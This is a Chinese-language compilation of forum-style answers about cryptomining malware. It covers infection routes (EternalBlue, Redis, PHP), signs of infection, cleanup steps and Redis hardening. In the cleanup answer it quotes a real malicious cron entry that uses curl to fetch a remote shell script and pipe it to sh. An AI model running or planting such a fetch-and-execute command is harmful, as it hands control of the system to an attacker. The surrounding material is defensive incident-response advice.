撒旦挖矿木马是怎么侵入电脑的？
该变种利用永恒之蓝漏洞进行网络攻击，一旦入侵成功，就会上传中毒电脑信息、更新病毒模块、下载执行挖矿模块以及执行网络攻击模块进行蠕虫式扩散。由于该变种具备感染性强、传播速度快、波及范围广等显著特点，极易在企业内网爆发，需要引起行业用户及安全业界的高度警惕。可以用腾讯电脑管家进行防御的
阿里云windows服务器如何去除挖矿病毒
找到进程，然后找到他文件路径，干掉进程，删掉文件。
另外找找其他可疑进程，避免病毒有守护进程或者其他隐藏进程
挖矿 没服务
根据某安全公司安全威胁检测到在2019年中，恶意软件拦截量为181.07亿次，其中挖矿类恶意软件感染占比最多（58%）,其次为远程木马（占比14%），企业或组织内文件共享等机制也使得感染型病毒的比例在9%左右。恶意软件一哥挖矿软件攻击势头非常猛，加密货币挖矿流量较去年增长约100%，在类型上也趋向隐性更好的币种，隐蔽性更好的无文件挖矿也给企业或组织带来了严峻的考验。
由于挖矿对计算机的性能要求比较高，老谋深算的矿工就把罪恶的双手伸向了企业，通过各种手段入侵到各个单位的内网，运行挖矿程序，利用别人的计算资源挖矿，自己坐享其成，的确是高手高手高高手。如何快速地识别内网中是否有挖矿成为了当下网络环境中重要的环节，可以从以下几个方面快速定位.查看任务管理器计算机一旦执行了挖矿程序，会占用大量的CPU资源，CPU占用100%，此时服务器就会变得异常卡顿。Linux执行top命令查看当前进程负载，可以看到这个watchbog的进程CPU占用100%，而Linux的正常进程是watchdog，很明显，这个进程是黑客估计混淆视听的。2.查看计划任务启动项攻击者成功入侵后，一般都会设定计划任务或启动项，这样每次重启机器后都会自动启动挖矿程序。Windows：从任务管理中可以看到，有一条使用powershell执行的命令，每5分钟执行一次
PoS（Proof of Stake）挖矿：其实是模仿 PoW 算力挖矿，持币人可以将 Token（相当于算力挖矿中的算力）抵押给验证人节点（大多是钱包方，或者交易平台。），来获得节点奖励分红。不同的 Token，由于其机制的不同，获得的收益可能完全不同，但是，这里并不是收益越高越好，还要考虑代币的价值，因为代币抵押后，解锁也需要花十多天时间（为了降低代币的流通量）。要知道，在这个行业，一天 Token 价格的波动可能就会抵消掉你的 挖矿奖励。所以 一定要慎重，选择出自己非常看好的 Token 才做 ，否则可能得不偿失。
阿里云服务器被挖矿了怎么办？(纯纯电脑小白
1. 关闭访问挖矿服务器的访问
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉执行权限， 在没有找到根源前，千万不要删除 minerd，因为删除了，过一回会自动有生成一个。
3. pkill minerd ,杀掉进程
4. service stop crond 或者 crontab -r 删除所有的执行计划
5. 执行top，查看了一会，没有再发现minerd 进程了。
6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句：
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件内容如下，感兴趣的可以研究下：
 View Code
解决minerd并不是最终的目的，主要是要查找问题根源，我的服务器问题出在了redis服务了，黑客利用了redis的一个漏洞获得了服务器的访问权限，http://blog.jobbole.com/94518/然后就注入了病毒，下面是解决办法和清除工作：
1. 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号
3. 查看你的用户列表，是不是有你不认识的用户添加进来。 如果有就删除掉.
挖矿病毒是如何入侵你的电脑的
可以安装一些杀毒软件在电脑上
如电脑管家一类的，然后一直保持开启
这样就可以预防病毒进入到电脑当中了
如何通过云计算服务器实现比特币挖矿
各公有云厂商都明确要求不允许使用云服务器进行挖矿，否则会被封禁的；
挖矿主要使用的是GPU，目前各公有云厂商提供的GPU服务器都比较贵的，从性价比上来说不划算，还不如用专用芯片；
当然，有黑客通过漏洞入侵服务器，在上面植入挖矿程序和脚本，进行挖矿操作，但这个本身是不合法的行为。
为什么黑客们要广设服务器，用别人的手机设备去挖矿？
可能是因为用自己的手机设备去挖矿不安全，如果犯法的话也可能被第一时间找到，用别人的手机设备就可以安全的多，到时候找也找不到自己
如何入侵linux服务器
华盛顿大学的安全研究员Andre' DiMino注意到了多个IP地址试图利用一个已修复PHP漏洞劫持Linux服务器，他很好奇攻击者如何成功控制一台Linux服务器， 因此设立了一个蜜罐，运行旧版本的PHP，让攻击者劫持，进行观察。DiMino发现，攻击者确实非常狡猾，发出了包含多个指令的HTTP POST请求，下载一个伪装成PDF文件的 Perl 脚本，执行之后删除。
为了确保成功，攻击者使用 curl、fetch、lwp-get请求重复上述步骤。Perl 脚本编程休眠一段时间，猜测可能是避开管理员的耳目。最终被感染的机器连上一个中继聊天频道，下载执行另一个脚本。攻击者在服务器上安装了多个应用，包括 比特币和素数币挖矿程序，DDoS工具，扫描其它存在已知漏洞的机器的工具。随着Linux服务器的流行，它和Windows PC一样成为攻击者眼中极具吸引力的目标。